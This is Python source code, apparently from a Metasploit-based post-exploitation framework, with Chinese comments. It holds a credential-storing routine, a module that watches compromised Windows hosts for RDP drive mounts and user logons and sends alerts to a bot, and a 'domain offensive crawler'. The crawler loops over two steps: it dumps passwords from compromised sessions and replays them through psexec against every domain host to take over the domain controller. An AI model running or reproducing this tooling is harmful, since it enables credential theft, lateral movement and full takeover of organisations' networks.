'sid': sid} Credential.add_credential(username=username, password=password, password_type='windows', tag=tag, source_module=self.NAME, host_ipaddress=host_ipaddress, desc='') password_count += 1 except Exception as E: pass elif category == 'Windows': try: for login_password in category_passwords[1]: username = login_password.get('Login') password = login_password.get('Password') domain = "local" tag = {'domain': domain, 'type': 'Windows', } Credential.add_credential(username=username, password=password, password_type='windows', tag=tag, source_module=self.NAME, host_ipaddress=host_ipaddress, desc='') password_count += 1 except Exception as E: pass else: print(category_passwords) format_output = "运行完成,共找到 {} 个密码,可以在<数据管理>-<凭证> 页面查看".format(password_count) self.log_good(format_output)
class PostModule(PostMSFRawModule): NAME = "RDP挂盘&登录监控" DESC = "对Session所在主机RDP挂盘/新用户登录监控,并提醒(Bot,WEB控制台)\n" \ "(此模块需配合DarkGuardian使用)" MODULETYPE = TAG2CH.Collection PLATFORM = ["Windows"] # 平台 PERMISSIONS = [ "User", "Administrator", "SYSTEM", ] # 所需权限 ATTCK = ["T1039"] # ATTCK向量 REFERENCES = [ "https://attack.mitre.org/techniques/T1039/", "https://github.com/FunnyWolf/DarkGuardian" ] AUTHOR = "Viper" REQUIRE_SESSION = True OPTIONS = register_options([ Option(name='DarkGuardian_path', name_tag="DarkGuardian目录", type='str', required=False, desc="DarkGuardian可执行文件所在目录", option_length=12), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.type = "post" self.mname = "windows/gather/session_monitor" def check(self): """执行前的检查函数""" DarkGuardian_path = self.param("DarkGuardian_path") self.set_option(key='DarkGuardian_path', value=DarkGuardian_path) from PostModule.lib.Session import Session session = Session(self._sessionid) if session.is_alive: pass else: return False, "Session不可用" if session.is_windows: pass else: return False, "模块只支持Windows系统" return True, None def callback(self, status, message, data): hostinfo = Host.get_host(self._hid) self.log_good("获取监控信息") if status: alertstr = "IP: {} 注释: {} Session监控模块有新信息 ".format( hostinfo.get("ipaddress"), hostinfo.get("comment"), ) Notices.send_alert(alertstr) if message == "RDP_NOTICES": if isinstance(data, str): if "share_disk" in data: share_disk_info = json.loads(data) timeStamp = share_disk_info.get("update_time") logstr = "IP: {} \n注释: {} \nSID: {} \n盘符: {} \n挂载时间: {}".format( hostinfo.get("ipaddress"), hostinfo.get("comment"), self._sessionid, share_disk_info.get("share_disk"), self.timeStampToStr(timeStamp), ) smsstr = "IP: {} 注释: {} SID: {} 盘符: {} 挂载时间: {}".format( hostinfo.get("ipaddress"), hostinfo.get("comment"), self._sessionid, share_disk_info.get("share_disk"), self.timeStampToStr(timeStamp), ) self.log_raw(logstr) if Notices.send_sms(smsstr): self.log_good("发送Bot提醒成功") else: self.log_error("发送Bot提醒失败") elif message == "LOGGED_ON_USERS": if isinstance(data, list): logstr = "IP: {} \n注释: {} \nSID: {} \n登录用户:\n".format( hostinfo.get("ipaddress"), hostinfo.get("comment"), self._sessionid, ) self.log_raw(logstr) for logged_on_user in data: for key in logged_on_user: logstr = "USER: {} SID: {} \n".format( logged_on_user.get(key), key, ) self.log_raw(logstr) smsstr = "IP: {} 注释: {} SID: {} 登录用户: {} ".format( hostinfo.get("ipaddress"), hostinfo.get("comment"), self._sessionid, data, ) if Notices.send_sms(smsstr): self.log_good("发送Bot提醒成功") else: self.log_error("发送Bot提醒失败") else: self.log_error("模块执行失败") self.log_error(message)
class PostModule(PostPythonModule): NAME = "Windows域攻击性爬虫" DESC = "模块内部通过提权,嗅探,扫描等操作,通过域内主机的单一权限尝试获取域控服务器控制权(请注意,模块具有高危险性,可能导致域内主机崩溃)" REQUIRE_SESSION = True MODULETYPE = TAG2CH.Lateral_Movement OPTIONS = register_options([ Option(name=HANDLER_OPTION.get('name'), name_tag=HANDLER_OPTION.get('name_tag'), type=HANDLER_OPTION.get('type'), required=True, desc=HANDLER_OPTION.get('desc'), enum_list=[], option_length=HANDLER_OPTION.get('option_length')), ]) def __init__(self, sessionid, hid, custom_param): super().__init__(sessionid, hid, custom_param) self.domain_controller = None self.domain_hosts = [] self.domain_hosts_has_session = [] # 已获取管理员Session权限的主机列表 self.domain_hosts_has_mimi = [] # 已抓取过密码的主机列表 self.credentials_used = [] self.credentials_unuse = [] def check(self): """执行前的检查函数""" session = Session(self._sessionid) if not session.is_windows: return False, "模块只支持Meterpreter类型的Session" if not session.is_in_domain: return False, "模块初始Sesion必须在域中" if not session.is_admin: return False, "模块初始Sesion必须拥有本地管理员权限" return True, None def get_domain_infos(self, sessionid): session_domain = Domain(sessionid) self.domain_controller = session_domain.get_domain_controller() self.domain_hosts = session_domain.get_domain_computers() @staticmethod def _get_sessionid(host): sessions = SessionList.list_sessions() for session in sessions: if session.get('session_host') in host.get('ipaddress'): return session.get('id') return None def gen_new_session(self): """尝试获取新的sesison""" tmp_cred_list = [] for credential in self.credentials_unuse: # 循环使用每个凭证 tmp_cred_list.append(credential) for host in self.domain_hosts: if host not in self.domain_hosts_has_session: # 判断主机是否已经拥有权限 handler = self.param(HANDLER_OPTION.get('name')) for ipaddress in host.get('ipaddress'): jobdict = MsfModuleAsFunction.psexec_exploit( rhosts=ipaddress, smbdomain=self.domain_controller.get('Domain'), smbuser=credential.get('user'), smbpass=credential.get('password'), handler=handler) self.log_status("尝试获取权限,IP地址:{} 任务ID:{}".format( ipaddress, jobdict.get('job_id'))) time.sleep(5) # 清理已用的cred for one in tmp_cred_list: self.credentials_unuse.remove(one) self.credentials_used.append(one) def update_credentials_unuse(self): """更新未使用凭证""" for host in self.domain_hosts_has_session: if host not in self.domain_hosts_has_mimi: sessionid = self._get_sessionid(host) credentials = MsfModuleAsFunction.get_windows_password( sessionid) if host not in self.domain_hosts_has_mimi: self.domain_hosts_has_mimi.append(host) else: print('error') for credential in credentials: if credential.get('domain').lower( ) in self.domain_controller.get('Domain'): user_password = { 'user': credential.get('user'), 'password': credential.get('password') } if user_password not in self.credentials_used and user_password not in self.credentials_unuse: # 未存储和使用过此密码 self.credentials_unuse.append(user_password) self.log_good("发现可用凭证,用户名:{} 密码:{}".format( user_password.get('user'), user_password.get('password'))) time.sleep(5) def update_domain_hosts_has_session(self): """更新已获取权限列表""" sessions = SessionList.list_sessions() for domain_host in self.domain_hosts: for one_session in sessions: # 如果session_host存在于主机的列表中,再进行进一步权限检查 if one_session.get('session_host') in domain_host.get( 'ipaddress'): session_intent = Session(one_session.get('id')) if session_intent.is_admin: # 检查是否获取了admin权限 # 去重添加 if domain_host not in self.domain_hosts_has_session: self.domain_hosts_has_session.append(domain_host) self.log_good( "发现新可用Session,SID:{} IP:{} 主机名:{}".format( session_intent.sessionid, session_intent.session_host, session_intent.computer)) def run(self): self.clean_log() # 清理历史结果 self.log_raw("--------------------初始信息收集-------------------------\n") self.log_status("开始侦查域信息") self.get_domain_infos(self._sessionid) if self.domain_hosts == [] or self.domain_controller is None: self.log_error("侦查域信息失败,请确认初始Session拥有足够的域权限") return else: self.log_good("侦查域信息成功,域名称: {}".format( self.domain_controller.get('Domain'))) self.log_good("侦查域信息成功,域控主机: {}".format( self.domain_controller.get('Name'))) self.log_good("侦查域信息成功,域控主机版本: {}".format( self.domain_controller.get('OSVersion'))) self.log_good("侦查域信息成功,域内主机数量: {}".format(len(self.domain_hosts))) self.log_raw("--------------------域内循环渗透-------------------------\n") self.update_domain_hosts_has_session() time.sleep(10) # 等待30秒,session返回 self.update_credentials_unuse() if self.credentials_unuse == [] or self.domain_hosts_has_session == []: self.log_error("抓取初始凭证失败,请确认初始Session拥有足够的权限") return else: self.log_good("抓取初始凭证成功,可用凭证数量: {}".format( len(self.credentials_unuse))) while True: self.gen_new_session() self.log_raw( "--------------------等待Session返回-------------------------\n") time.sleep(30) # 等待30秒,session返回 self.update_domain_hosts_has_session() time.sleep(10) # 等待30秒,session返回 self.update_credentials_unuse() if len(self.credentials_unuse) == 0: self.log_raw( "--------------------循环渗透结束-------------------------\n") return